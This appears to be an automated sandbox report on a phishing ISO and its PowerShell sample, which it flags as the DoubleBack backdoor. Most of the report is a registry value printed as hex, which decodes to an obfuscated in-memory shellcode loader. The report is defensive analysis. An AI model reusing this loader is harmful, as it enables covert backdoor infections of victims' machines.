Overview
overview
10Static
static
Invoice-06-1022.iso
windows7_x64
3Invoice-06-1022.iso
windows10-2004_x64
31728.ps1
windows7_x64
11728.ps1
windows10-2004_x64
10Scan_282.jpg
windows7_x64
3Scan_282.jpg
windows10-2004_x64
3Scan_282.jpg.lnk
windows7_x64
3Scan_282.jpg.lnk
windows10-2004_x64
8x.txt
windows7_x64
1x.txt
windows10-2004_x64
1Analysis
-
max time kernel
92s -
max time network
139s -
platform
windows10-2004_x64 -
resource
win10v2004-20220414-en -
submitted
03-06-2022 04:28
Static task
static1
Behavioral task
behavioral1
Sample
Invoice-06-1022.iso
Resource
win7-20220414-en
Behavioral task
behavioral2
Sample
Invoice-06-1022.iso
Resource
win10v2004-20220414-en
Behavioral task
behavioral3
Sample
1728.ps1
Resource
win7-20220414-en
Behavioral task
behavioral4
Sample
1728.ps1
Resource
win10v2004-20220414-en
Behavioral task
behavioral5
Sample
Scan_282.jpg
Resource
win7-20220414-en
Behavioral task
behavioral6
Sample
Scan_282.jpg
Resource
win10v2004-20220414-en
Behavioral task
behavioral7
Sample
Scan_282.jpg.lnk
Resource
win7-20220414-en
Behavioral task
behavioral8
Sample
Scan_282.jpg.lnk
Resource
win10v2004-20220414-en
Behavioral task
behavioral9
Sample
x.txt
Resource
win7-20220414-en
Behavioral task
behavioral10
Sample
x.txt
Resource
win10v2004-20220414-en
General
-
Target
1728.ps1
-
Size
150KB
-
MD5
732ac4665887f90ad5d320f0e462fce8
-
SHA1
31cb6f21e3d2f50713163163d665053f83bb5bb4
-
SHA256
3efec0b370dfacba1d8a2c9e8563441c6da54ae03925f3f845284d4ea9750731
-
SHA512
8ec4408765d152108981b68a76c42a352f9c623d74220bbbce392500cb8e618a0bd4ac6e2f05057f8520d195d64c38a834facf5cfcf168546b68e4b0287dd849
Malware Config
Signatures
-
DoubleBack
DoubleBack is a modular backdoor first seen in December 2020.
-
DoubleBack x64 Payload 4 IoCs
Processes:
resource yara_rule behavioral4/memory/4580-137-0x000002BED4CA0000-0x000002BED4CAA000-memory.dmp family_doubleback_x64 behavioral4/memory/4580-138-0x0000008800000000-0x000000880000E000-memory.dmp family_doubleback_x64 behavioral4/memory/3540-139-0x0000008800000000-0x000000880000E000-memory.dmp family_doubleback_x64 behavioral4/memory/3540-143-0x0000008800000000-0x000000880000E000-memory.dmp family_doubleback_x64 -
Blocklisted process makes network request 4 IoCs
Processes:
powershell.exemsiexec.exeflow pid process 10 4580 powershell.exe 20 3540 msiexec.exe 21 3540 msiexec.exe 22 3540 msiexec.exe -
Modifies registry class 25 IoCs
Processes:
powershell.exemsiexec.exedescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\Classes\{03010E0C-1010-0E13-0B04-110B0C0B0608}\CLSID powershell.exe Key created \REGISTRY\MACHINE\software\classes\CLSID\{0904030D-0D08-100C-0812-0D0C0C061011}\TreatAs powershell.exe Key created \REGISTRY\MACHINE\software\classes\CLSID\{0104000B-0A0A-050F-090C-0C070C010301}\VersionIndependentProgID powershell.exe Set value (str) \REGISTRY\USER\S-1-5-21-1809750270-3141839489-3074374771-1000_Classes\ msiexec.exe Set value (str) \REGISTRY\USER\S-1-5-21-1809750270-3141839489-3074374771-1000_Classes\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\1728.ps1" powershell.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID powershell.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{0904030D-0D08-100C-0812-0D0C0C061011}\ = "{03010E0C-1010-0E13-0B04-110B0C0B0608}" powershell.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{0104000B-0A0A-050F-090C-0C070C010301}\VersionIndependentProgID\ = "{03010E0C-1010-0E13-0B04-110B0C0B0608}" powershell.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{0104000B-0A0A-050F-090C-0C070C010301}\ProgID\0301 = 66756e6374696f6e207376347b706172616d28247376302c24796d332c246a7435292028647032202732343731373333323344354234313730373034343646364436313639364535443341334134333735373237323635364537343434364636443631363936453245343436353636363936453635343437393645363136443639363334313733373336353644363236433739323832383445363537373244344636323641363536333734323035333739373337343635364432453532363536363643363536333734363936463645324534313733373336353644363236433739344536313644363532383237334635323445343433463237323932393243354235333739373337343635364432453532363536363643363536333734363936463645324534353644363937343245343137333733363536443632364337393432373536393643363436353732343136333633363537333733354433413341353237353645323932453434363536363639364536353434373936453631364436393633344436463634373536433635323832373346353234453434334632373243323436363631364337333635323932453434363536363639364536353534373937303635323832373346353234453434334632373243323734333643363137333733324335303735363236433639363332433533363536313643363536343243343136453733363934333643363137333733324334313735373436463433364336313733373332373243354235333739373337343635364432453444373536433734363936333631373337343434363536433635363736313734363535443239334232343731373333323245343436353636363936453635343336463645373337343732373536333734364637323238323735323534353337303635363336393631364334453631364436353243343836393634363534323739353336393637324335303735363236433639363332373243354235333739373337343635364432453532363536363643363536333734363936463645324534333631364336433639364536373433364636453736363536453734363936463645373335443341334135333734363136453634363137323634324332343733373633303239324535333635373434393644373036433635364436353645373436313734363936463645343636433631363737333238323735323735364537343639364436353243344436313645363136373635363432373239334232343731373333323245343436353636363936453635344436353734363836463634323832373439364537363646364236353237324332373530373536323643363936333243343836393634363534323739353336393637324334453635373735333643364637343243353636393732373437353631364332373243323437393644333332433234373337363330323932453533363537343439364437303643363536443635364537343631373436393646364534363643363136373733323832373532373536453734363936443635324334443631364536313637363536343237323933423234373137333332324534333732363536313734363535343739373036353238323927297c2628247073686f6d655b3134302d3133365d2b247073686f6d655b3231372d3138335d2b277827297d66756e6374696f6e206976387b706172616d2824757832292028637237202732343738373133323344354234313730373034343646364436313639364535443341334134333735373237323635364537343434364636443631363936453245343436353636363936453635343437393645363136443639363334313733373336353644363236433739323832383445363537373244344636323641363536333734323035333739373337343635364432453532363536363643363536333734363936463645324534313733373336353644363236433739344536313644363532383237334635323445343433463237323932393243354235333739373337343635364432453532363536363643363536333734363936463645324534353644363937343245343137333733363536443632364337393432373536393643363436353732343136333633363537333733354433413341353237353645323932453434363536363639364536353434373936453631364436393633344436463634373536433635323832373346353234453434334632373243323436363631364337333635323932453434363536363639364536353534373937303635323832373346353234453434334632373243323734333643363137333733324335303735363236433639363332433533363536313643363536343243343136453733363934333643363137333733324334313735373436463433364336313733373332373243354235333739373337343635364432453444373536433734363936333631373337343434363536433635363736313734363535443239334232343738373133323245343436353636363936453635343336463645373337343732373536333734364637323238323735323534353337303635363336393631364334453631364436353243343836393634363534323739353336393637324335303735363236433639363332373243354235333739373337343635364432453532363536363643363536333734363936463645324534333631364336433639364536373433364636453736363536453734363936463645373335443341334135333734363136453634363137323634324332343735373833323239324535333635373434393644373036433635364436353645373436313734363936463645343636433631363737333238323735323735364537343639364436353243344436313645363136373635363432373239334232343738373133323245343436353636363936453635344436353734363836463634323832373439364537363646364236353237324332373530373536323643363936333243343836393634363534323739353336393637324334453635373735333643364637343243353636393732373437353631364332373243323436353733333032433234373537383332323932453533363537343439364437303643363536443635364537343631373436393646364534363643363136373733323832373532373536453734363936443635324334443631364536313637363536343237323933423234373837313332324534333732363536313734363535343739373036353238323927297c2628247073686f6d655b3135382d3135345d2b247073686f6d655b3137332d3133395d2b277827297d66756e6374696f6e206662317b706172616d282472773129282d6a6f696e2824727731202d73706c697427282e2e29277c3f7b245f7d7c257b5b636861725d5b636f6e766572745d3a3a546f55496e74333228245f2c3136297d29297d66756e6374696f6e207561317b706172616d28247971312c246b73332c2467663129202869683220273234364236373332334432383542343137303730343436463644363136393645354433413341343337353732373236353645373434343646364436313639364532453437363537343431373337333635364436323643363936353733323832393743353736383635373236353244344636323641363536333734374232343546324534373643364636323631364334313733373336353644363236433739343336313633363836353230324436313645363432303234354632453443364636333631373436393646364532453533373036433639373432383237354335433237323935423244333135443245343537313735363136433733323832373533373937333734363536443245363436433643323732393744323932453437363537343534373937303635323832373444363936333732364637333646363637343245353736393645333333323245353536453733363136363635344536313734363937363635344436353734363836463634373332373239334232343735363133313344344536353737324434463632364136353633373432303533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245343836313645363436433635353236353636323832383445363537373244344636323641363536333734323034393645373435303734373232393243323832343642363733323245343736353734344436353734363836463634323832373437363537343444364636343735364336353438363136453634364336353237323932453439364537363646364236353238333032433430323832373642363537323645363536433333333232453634364336433237323932393239323933423234364236373332324534373635373434443635373436383646363432383237343736353734353037323646363334313634363437323635373337333237324335423732363536363643363536333734363936463645324536323639364536343639364536373636364336313637373335443230323735303735363236433639363332433533373436313734363936333237324332343645373536433643324335423533373937333734363536443245353236353636364336353633373436393646364532453433363136433643363936453637343336463645373636353645373436393646364537333544334133413431364537393243343032383238344536353737324434463632364136353633373432303533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245343836313645363436433635353236353636323932453437363537343534373937303635323832393243354237333734373236393645363735443239324332343645373536433643323932453439364537363646364236353238323436453735364336433243343032383542353337393733373436353644324535323735364537343639364436353245343936453734363537323646373035333635373237363639363336353733324534383631364536343643363535323635363635443234373536313331324332343739373133313239323927297c2628247073686f6d655b3131392d3131355d2b247073686f6d655b3135332d3131395d2b277827297d66756e6374696f6e206679367b706172616d282464773429202863773920273234364537353338334432383542343137303730343436463644363136393645354433413341343337353732373236353645373434343646364436313639364532453437363537343431373337333635364436323643363936353733323832393743353736383635373236353244344636323641363536333734374232343546324534373643364636323631364334313733373336353644363236433739343336313633363836353230324436313645363432303234354632453443364636333631373436393646364532453533373036433639373432383237354335433237323935423244333135443245343537313735363136433733323832373533373937333734363536443245363436433643323732393744323932453437363537343534373937303635323832373444363936333732364637333646363637343245353736393645333333323245353536453733363136363635344536313734363937363635344436353734363836463634373332373239334232343730373133383344344536353737324434463632364136353633373432303533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245343836313645363436433635353236353636323832383445363537373244344636323641363536333734323034393645373435303734373232393243323832343645373533383245343736353734344436353734363836463634323832373437363537343444364636343735364336353438363136453634364336353237323932453439364537363646364236353238333032433430323832373642363537323645363536433333333232453634364336433237323932393239323933423234364537353338324534373635373434443635373436383646363432383237343736353734353037323646363334313634363437323635373337333237324335423732363536363643363536333734363936463645324536323639364536343639364536373636364336313637373335443230323735303735363236433639363332433533373436313734363936333237324332343645373536433643324335423533373937333734363536443245353236353636364336353633373436393646364532453433363136433643363936453637343336463645373636353645373436393646364537333544334133413431364537393243343032383238344536353737324434463632364136353633373432303533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245343836313645363436433635353236353636323932453437363537343534373937303635323832393243354237333734373236393645363735443239324332343645373536433643323932453439364537363646364236353238323436453735364336433243343032383542353337393733373436353644324535323735364537343639364436353245343936453734363537323646373035333635373237363639363336353733324534383631364536343643363535323635363635443234373037313338324332343634373733343239323927297c2628247073686f6d655b3133352d3133315d2b247073686f6d655b3133362d3130325d2b277827297d66756e6374696f6e207764347b706172616d28247277312c24706e34292028666231202732343735364333333344354234313730373034343646364436313639364535443341334134333735373237323635364537343434364636443631363936453245343436353636363936453635343437393645363136443639363334313733373336353644363236433739323832383445363537373244344636323641363536333734323035333739373337343635364432453532363536363643363536333734363936463645324534313733373336353644363236433739344536313644363532383237334635323445343433463237323932393243354235333739373337343635364432453532363536363643363536333734363936463645324534353644363937343245343137333733363536443632364337393432373536393643363436353732343136333633363537333733354433413341353237353645323932453434363536363639364536353434373936453631364436393633344436463634373536433635323832373346353234453434334632373243323436363631364337333635323932453434363536363639364536353534373937303635323832373346353234453434334632373243323734333643363137333733324335303735363236433639363332433533363536313643363536343243343136453733363934333643363137333733324334313735373436463433364336313733373332373243354235333739373337343635364432453444373536433734363936333631373337343434363536433635363736313734363535443239334232343735364333333245343436353636363936453635343336463645373337343732373536333734364637323238323735323534353337303635363336393631364334453631364436353243343836393634363534323739353336393637324335303735363236433639363332373243354235333739373337343635364432453532363536363643363536333734363936463645324534333631364336433639364536373433364636453736363536453734363936463645373335443341334135333734363136453634363137323634324332343732373733313239324535333635373434393644373036433635364436353645373436313734363936463645343636433631363737333238323735323735364537343639364436353243344436313645363136373635363432373239334232343735364333333245343436353636363936453635344436353734363836463634323832373439364537363646364236353237324332373530373536323643363936333243343836393634363534323739353336393637324334453635373735333643364637343243353636393732373437353631364332373243323437303645333432433234373237373331323932453533363537343439364437303643363536443635364537343631373436393646364534363643363136373733323832373532373536453734363936443635324334443631364536313637363536343237323933423234373536433333324534333732363536313734363535343739373036353238323927297c2628247073686f6d655b3136352d3136315d2b247073686f6d655b3232342d3139305d2b277827297d2066756e6374696f6e206379307b706172616d282472773129202866623120273234373536413334334432383542343137303730343436463644363136393645354433413341343337353732373236353645373434343646364436313639364532453437363537343431373337333635364436323643363936353733323832393743353736383635373236353244344636323641363536333734374232343546324534373643364636323631364334313733373336353644363236433739343336313633363836353230324436313645363432303234354632453443364636333631373436393646364532453533373036433639373432383237354335433237323935423244333135443245343537313735363136433733323832373533373937333734363536443245363436433643323732393744323932453437363537343534373937303635323832373444363936333732364637333646363637343245353736393645333333323245353536453733363136363635344536313734363937363635344436353734363836463634373332373239334232343641363733373344344536353737324434463632364136353633373432303533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245343836313645363436433635353236353636323832383445363537373244344636323641363536333734323034393645373435303734373232393243323832343735364133343245343736353734344436353734363836463634323832373437363537343444364636343735364336353438363136453634364336353237323932453439364537363646364236353238333032433430323832373642363537323645363536433333333232453634364336433237323932393239323933423234373536413334324534373635373434443635373436383646363432383237343736353734353037323646363334313634363437323635373337333237324335423732363536363643363536333734363936463645324536323639364536343639364536373636364336313637373335443230323735303735363236433639363332433533373436313734363936333237324332343645373536433643324335423533373937333734363536443245353236353636364336353633373436393646364532453433363136433643363936453637343336463645373636353645373436393646364537333544334133413431364537393243343032383238344536353737324434463632364136353633373432303533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245343836313645363436433635353236353636323932453437363537343534373937303635323832393243354237333734373236393645363735443239324332343645373536433643323932453439364537363646364236353238323436453735364336433243343032383542353337393733373436353644324535323735364537343639364436353245343936453734363537323646373035333635373237363639363336353733324534383631364536343643363535323635363635443234364136373337324332343732373733313239323927297c2628247073686f6d655b3137352d3137315d2b247073686f6d655b3134392d3131355d2b277827297d2066756e6374696f6e206d7a337b706172616d28247277312c24706e342c24797135292028666231202732343730363333343344343736353734324434393734363536443530373236463730363537323734373932303244353036313734363832303237363836423643364433413543373336463636373437373631373236353543363336433631373337333635373335433433344335333439343435433742333033313330333433303330333034323244333034313330343132443330333533303436324433303339333034333244333034333330333733303433333033313330333333303331374435433536363537323733363936463645343936453634363537303635364536343635364537343530373236463637343934343237323032443645323032373330333133303334323737433533363536433635363337343244344636323641363536333734323032443435373837303631364536343530373236463730363537323734373932303237333033313330333432373342323436353645333033443238323437303633333435423333333235443242323833353330324432383238323833323333324233353239323932443331333132393239323933423230323436343644333733443234373036333334354232343635364533303245324532383234363536453330324233333331323935443342323035423631373237323631373935443341334135323635373636353732373336353238323436343644333732393342323437303633333433443437363537343244343937343635364435303732364637303635373237343739323032443530363137343638323032373638364236433644334135433733364636363734373736313732363535433633364336313733373336353733354334333443353334393434354337423330333133303334333033303330343232443330343133303431324433303335333034363244333033393330343332443330343333303337333034333330333133303333333033313744354335363635373237333639364636453439364536343635373036353645363436353645373435303732364636373439343432373230324436453230323733303333333033313237374335333635364336353633373432443446363236413635363337343230324434353738373036313645363435303732364637303635373237343739323032373330333333303331323733423234363536453330334437423230323436393636333633443330324532453332333533353342333032453245333233353335374332353742323032343731373633313344323832343731373633313242323436393636333635423234354635443242323436343644333735423234354632353234363436443337324534433635364536373734363835443239323532383238333233323338324232383332333432423334323932393239334232303234363936363336354232343546354432433234363936363336354232343731373633313544334432343639363633363542323437313736333135443243323436393636333635423234354635443230374432303342323437303633333437433235374232343736374133303344323832343736374133303242333132393235323832383332333933323244333333363239323933423230323436383631333533443238323436383631333532423234363936363336354232343736374133303544323932353238333333353337324432383238333833313242333733383239324433353338323932393342323032343639363633363542323437363741333035443243323436393636333635423234363836313335354433443234363936363336354232343638363133353544324332343639363633363542323437363741333035443342323435463244363237383646373232343639363633363542323832343639363633363542323437363741333035443242323436393636333635423234363836313335354432393235323832383331333433313242323833323330333832443339333332393239323935443230374432303744323033423234363936373330323033443230323832363230323436353645333037433636364637323635363136333638324436463632364136353633373437423237374233303341353833323744323732303244363632303234354632303744323932443641364636393645323032373237334232303238323432383636364637323238323437363741333033443330334232343736374133303230324436433734323032343639363733303245344336353645363737343638334232343736374133303242334433323239374232303542363336463645373636353732373435443341334135343646343237393734363532383234363936373330324535333735363237333734373236393645363732383234373637413330324333323239324332383332333932443238323833313336324433333239323932393239323037443239323927297c2628247073686f6d655b3130342d3130305d2b247073686f6d655b3139372d3136335d2b277827297d66756e6374696f6e20687a357b706172616d28246b61302c24686b3129202867703220273234363136333330334432383542343137303730343436463644363136393645354433413341343337353732373236353645373434343646364436313639364532453437363537343431373337333635364436323643363936353733323832393743353736383635373236353244344636323641363536333734374232343546324534373643364636323631364334313733373336353644363236433739343336313633363836353230324436313645363432303234354632453443364636333631373436393646364532453533373036433639373432383237354335433237323935423244333135443245343537313735363136433733323832373533373937333734363536443245363436433643323732393744323932453437363537343534373937303635323832373444363936333732364637333646363637343245353736393645333333323245353536453733363136363635344536313734363937363635344436353734363836463634373332373239334232343735363633383344344536353737324434463632364136353633373432303533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245343836313645363436433635353236353636323832383445363537373244344636323641363536333734323034393645373435303734373232393243323832343631363333303245343736353734344436353734363836463634323832373437363537343444364636343735364336353438363136453634364336353237323932453439364537363646364236353238333032433430323832373642363537323645363536433333333232453634364336433237323932393239323933423234363136333330324534373635373434443635373436383646363432383237343736353734353037323646363334313634363437323635373337333237324335423732363536363643363536333734363936463645324536323639364536343639364536373636364336313637373335443230323735303735363236433639363332433533373436313734363936333237324332343645373536433643324335423533373937333734363536443245353236353636364336353633373436393646364532453433363136433643363936453637343336463645373636353645373436393646364537333544334133413431364537393243343032383238344536353737324434463632364136353633373432303533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245343836313645363436433635353236353636323932453437363537343534373937303635323832393243354237333734373236393645363735443239324332343645373536433643323932453439364537363646364236353238323436453735364336433243343032383542353337393733373436353644324535323735364537343639364436353245343936453734363537323646373035333635373237363639363336353733324534383631364536343643363535323635363635443234373536363338324332343642363133303239323927297c2628247073686f6d655b3131322d3130385d2b247073686f6d655b3136312d3132375d2b277827297d66756e6374696f6e20696f357b706172616d28246d69382c246b6231292028617836202732343737363533363344343736353734324434393734363536443530373236463730363537323734373932303244353036313734363832303237363836423643364433413543373336463636373437373631373236353543363336433631373337333635373335433433344335333439343435433742333033313330333433303330333034323244333034313330343132443330333533303436324433303339333034333244333034333330333733303433333033313330333333303331374435433536363537323733363936463645343936453634363537303635364536343635364537343530373236463637343934343237323032443645323032373330333133303334323737433533363536433635363337343244344636323641363536333734323032443435373837303631364536343530373236463730363537323734373932303237333033313330333432373342323437343638333133443238323437373635333635423333333235443242323833353330324432383238323833323333324233353239323932443331333132393239323933423230323437343633333533443234373736353336354232343734363833313245324532383234373436383331324233333331323935443342323035423631373237323631373935443341334135323635373636353732373336353238323437343633333532393342323437373635333633443437363537343244343937343635364435303732364637303635373237343739323032443530363137343638323032373638364236433644334135433733364636363734373736313732363535433633364336313733373336353733354334333443353334393434354337423330333133303334333033303330343232443330343133303431324433303335333034363244333033393330343332443330343333303337333034333330333133303333333033313744354335363635373237333639364636453439364536343635373036353645363436353645373435303732364636373439343432373230324436453230323733303333333033313237374335333635364336353633373432443446363236413635363337343230324434353738373036313645363435303732364637303635373237343739323032373330333333303331323733423234373436383331334437423230323436373734333833443330324532453332333533353342333032453245333233353335374332353742323032343736363833353344323832343736363833353242323436373734333835423234354635443242323437343633333535423234354632353234373436333335324534433635364536373734363835443239323532383238333233323338324232383332333432423334323932393239334232303234363737343338354232343546354432433234363737343338354232343736363833353544334432343637373433383542323437363638333535443243323436373734333835423234354635443230374432303342323437373635333637433235374232343733373933303344323832343733373933303242333132393235323832383332333933323244333333363239323933423230323436353643333533443238323436353643333532423234363737343338354232343733373933303544323932353238333333353337324432383238333833313242333733383239324433353338323932393342323032343637373433383542323437333739333035443243323436373734333835423234363536433335354433443234363737343338354232343635364333353544324332343637373433383542323437333739333035443342323435463244363237383646373232343637373433383542323832343637373433383542323437333739333035443242323436373734333835423234363536433335354432393235323832383331333433313242323833323330333832443339333332393239323935443230374432303744323033423234364436333331323033443230323832363230323437343638333137433636364637323635363136333638324436463632364136353633373437423237374233303341353833323744323732303244363632303234354632303744323932443641364636393645323032373237334232303238323432383636364637323238323437333739333033443330334232343733373933303230324436433734323032343644363333313245344336353645363737343638334232343733373933303242334433323239374232303542363336463645373636353732373435443341334135343646343237393734363532383234364436333331324535333735363237333734373236393645363732383234373337393330324333323239324332383332333932443238323833313336324433333239323932393239323037443239323927297c2628247073686f6d655b3134362d3134325d2b247073686f6d655b3136382d3133345d2b277827297d247063343d6d7a33202777756a70657664676f6c7a6e6d6879272027667372627a616c686e6b6f647074656d272027637170666a7569796c78737661686e6b77273b66756e6374696f6e20786c347b706172616d28246b73332920286f753320273234363336423338334432383542343137303730343436463644363136393645354433413341343337353732373236353645373434343646364436313639364532453437363537343431373337333635364436323643363936353733323832393743353736383635373236353244344636323641363536333734374232343546324534373643364636323631364334313733373336353644363236433739343336313633363836353230324436313645363432303234354632453443364636333631373436393646364532453533373036433639373432383237354335433237323935423244333135443245343537313735363136433733323832373533373937333734363536443245363436433643323732393744323932453437363537343534373937303635323832373444363936333732364637333646363637343245353736393645333333323245353536453733363136363635344536313734363937363635344436353734363836463634373332373239334232343639373233323344344536353737324434463632364136353633373432303533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245343836313645363436433635353236353636323832383445363537373244344636323641363536333734323034393645373435303734373232393243323832343633364233383245343736353734344436353734363836463634323832373437363537343444364636343735364336353438363136453634364336353237323932453439364537363646364236353238333032433430323832373642363537323645363536433333333232453634364336433237323932393239323933423234363336423338324534373635373434443635373436383646363432383237343736353734353037323646363334313634363437323635373337333237324335423732363536363643363536333734363936463645324536323639364536343639364536373636364336313637373335443230323735303735363236433639363332433533373436313734363936333237324332343645373536433643324335423533373937333734363536443245353236353636364336353633373436393646364532453433363136433643363936453637343336463645373636353645373436393646364537333544334133413431364537393243343032383238344536353737324434463632364136353633373432303533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245343836313645363436433635353236353636323932453437363537343534373937303635323832393243354237333734373236393645363735443239324332343645373536433643323932453439364537363646364236353238323436453735364336433243343032383542353337393733373436353644324535323735364537343639364436353245343936453734363537323646373035333635373237363639363336353733324534383631364536343643363535323635363635443234363937323332324332343642373333333239323927297c2628247073686f6d655b3138302d3137365d2b247073686f6d655b3232302d3138365d2b277827297d66756e6374696f6e207076347b706172616d28246976392c247366342c246f7038292028706332202732343635373433383344354234313730373034343646364436313639364535443341334134333735373237323635364537343434364636443631363936453245343436353636363936453635343437393645363136443639363334313733373336353644363236433739323832383445363537373244344636323641363536333734323035333739373337343635364432453532363536363643363536333734363936463645324534313733373336353644363236433739344536313644363532383237334635323445343433463237323932393243354235333739373337343635364432453532363536363643363536333734363936463645324534353644363937343245343137333733363536443632364337393432373536393643363436353732343136333633363537333733354433413341353237353645323932453434363536363639364536353434373936453631364436393633344436463634373536433635323832373346353234453434334632373243323436363631364337333635323932453434363536363639364536353534373937303635323832373346353234453434334632373243323734333643363137333733324335303735363236433639363332433533363536313643363536343243343136453733363934333643363137333733324334313735373436463433364336313733373332373243354235333739373337343635364432453444373536433734363936333631373337343434363536433635363736313734363535443239334232343635373433383245343436353636363936453635343336463645373337343732373536333734364637323238323735323534353337303635363336393631364334453631364436353243343836393634363534323739353336393637324335303735363236433639363332373243354235333739373337343635364432453532363536363643363536333734363936463645324534333631364336433639364536373433364636453736363536453734363936463645373335443341334135333734363136453634363137323634324332343639373633393239324535333635373434393644373036433635364436353645373436313734363936463645343636433631363737333238323735323735364537343639364436353243344436313645363136373635363432373239334232343635373433383245343436353636363936453635344436353734363836463634323832373439364537363646364236353237324332373530373536323643363936333243343836393634363534323739353336393637324334453635373735333643364637343243353636393732373437353631364332373243323437333636333432433234363937363339323932453533363537343439364437303643363536443635364537343631373436393646364534363643363136373733323832373532373536453734363936443635324334443631364536313637363536343237323933423234363537343338324534333732363536313734363535343739373036353238323927297c2628247073686f6d655b3132392d3132355d2b247073686f6d655b3137372d3134335d2b277827297d66756e6374696f6e206779347b706172616d28247063342c246f6d382c246f78332c2461623429202866623120273234363936363336334435423533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245344436313732373336383631364335443341334134373635373434343635364336353637363137343635343636463732343637353645363337343639364636453530364636393645373436353732323832383633373933303230323735363639373237343735363136433431364336433646363334353738323732393243323837373634333432303430323835423439364537343530373437323544324335423439364537343530373437323544324335423439364537343530373437323544324335423639364537343544324335423639364537343544323932383542343936453734373037343732354432393239323932453639364537363646364236353238324433313243333032433234364636443338324332383238323833313337333733303335324233313332333233383239324433363336333433353239323932433234363136323334323933423542353337393733373436353644324535323735364537343639364436353245343936453734363537323646373035333635373237363639363336353733324534443631373237333638363136433544334133413437363537343434363536433635363736313734363534363646373234363735364536333734363936463645353036463639364537343635373232383238363337393330323032373532373436433444364637363635344436353644364637323739323732393243323837373634333432303430323835423439364537343530373437323544324335423632373937343635354235443544324335423535343936453734333333323544323932383542343936453734373037343732354432393239323932453639364537363646364236353238323436393636333632433234373036333334324332343646364433383239334232343639363633363344344536353737324434463632364136353633373432303533373937333734363536443245343936453734373037343732323032443431373236373735364436353645373434433639373337343230323432383234363936363336324535343646343936453734333633343238323932423234364637383333323933423542353337393733373436353644324535323735364537343639364436353245343936453734363537323646373035333635373237363639363336353733324534443631373237333638363136433544334133413437363537343434363536433635363736313734363534363646373234363735364536333734363936463645353036463639364537343635373232383238363337393330323032373433373236353631373436353534363837323635363136343237323932433238373736343334323034303238354234393645373435303734373235443243354235353439364537343333333235443243354234393645373435303734373235443243354234393645373435303734373235443243354235353439364537343333333235443243354234393645373435303734373235443239323835423439364537343730373437323544323932393239324536393645373636463642363532383330324333303243323436393636333632433330324333303243333032393342353337343631373237343244353336433635363537303230324437333230323832383238333833323330333232443334333033343332323932443331333933313239323927297c2628247073686f6d655b3137322d3136385d2b247073686f6d655b3231362d3138325d2b277827297d66756e6374696f6e207563387b706172616d2824707a32292028687234202732343632374133363344354234313730373034343646364436313639364535443341334134333735373237323635364537343434364636443631363936453245343436353636363936453635343437393645363136443639363334313733373336353644363236433739323832383445363537373244344636323641363536333734323035333739373337343635364432453532363536363643363536333734363936463645324534313733373336353644363236433739344536313644363532383237334635323445343433463237323932393243354235333739373337343635364432453532363536363643363536333734363936463645324534353644363937343245343137333733363536443632364337393432373536393643363436353732343136333633363537333733354433413341353237353645323932453434363536363639364536353434373936453631364436393633344436463634373536433635323832373346353234453434334632373243323436363631364337333635323932453434363536363639364536353534373937303635323832373346353234453434334632373243323734333643363137333733324335303735363236433639363332433533363536313643363536343243343136453733363934333643363137333733324334313735373436463433364336313733373332373243354235333739373337343635364432453444373536433734363936333631373337343434363536433635363736313734363535443239334232343632374133363245343436353636363936453635343336463645373337343732373536333734364637323238323735323534353337303635363336393631364334453631364436353243343836393634363534323739353336393637324335303735363236433639363332373243354235333739373337343635364432453532363536363643363536333734363936463645324534333631364336433639364536373433364636453736363536453734363936463645373335443341334135333734363136453634363137323634324332343730374133323239324535333635373434393644373036433635364436353645373436313734363936463645343636433631363737333238323735323735364537343639364436353243344436313645363136373635363432373239334232343632374133363245343436353636363936453635344436353734363836463634323832373439364537363646364236353237324332373530373536323643363936333243343836393634363534323739353336393637324334453635373735333643364637343243353636393732373437353631364332373243323436333641333632433234373037413332323932453533363537343439364437303643363536443635364537343631373436393646364534363643363136373733323832373532373536453734363936443635324334443631364536313637363536343237323933423234363237413336324534333732363536313734363535343739373036353238323927297c2628247073686f6d655b3138312d3137375d2b247073686f6d655b3232362d3139325d2b277827297d66756e6374696f6e20667a337b706172616d28246b76352c246562372c246170312920287072372027323437383736333933443437363537343244343937343635364435303732364637303635373237343739323032443530363137343638323032373638364236433644334135433733364636363734373736313732363535433633364336313733373336353733354334333443353334393434354337423330333133303334333033303330343232443330343133303431324433303335333034363244333033393330343332443330343333303337333034333330333133303333333033313744354335363635373237333639364636453439364536343635373036353645363436353645373435303732364636373439343432373230324436453230323733303331333033343237374335333635364336353633373432443446363236413635363337343230324434353738373036313645363435303732364637303635373237343739323032373330333133303334323733423234363236343332334432383234373837363339354233333332354432423238333533303244323832383238333233333242333532393239324433313331323932393239334232303234363536443336334432343738373633393542323436323634333232453245323832343632363433323242333333313239354433423230354236313732373236313739354433413341353236353736363537323733363532383234363536443336323933423234373837363339334434373635373432443439373436353644353037323646373036353732373437393230324435303631373436383230323736383642364336443341354337333646363637343737363137323635354336333643363137333733363537333543343334433533343934343543374233303331333033343330333033303432324433303431333034313244333033353330343632443330333933303433324433303433333033373330343333303331333033333330333137443543353636353732373336393646364534393645363436353730363536453634363536453734353037323646363734393434323732303244364532303237333033333330333132373743353336353643363536333734324434463632364136353633373432303244343537383730363136453634353037323646373036353732373437393230323733303333333033313237334232343632363433323344374232303234363836363334334433303245324533323335333533423330324532453332333533353743323537423230323437323631333833443238323437323631333832423234363836363334354232343546354432423234363536443336354232343546323532343635364433363245344336353645363737343638354432393235323832383332333233383242323833323334324233343239323932393342323032343638363633343542323435463544324332343638363633343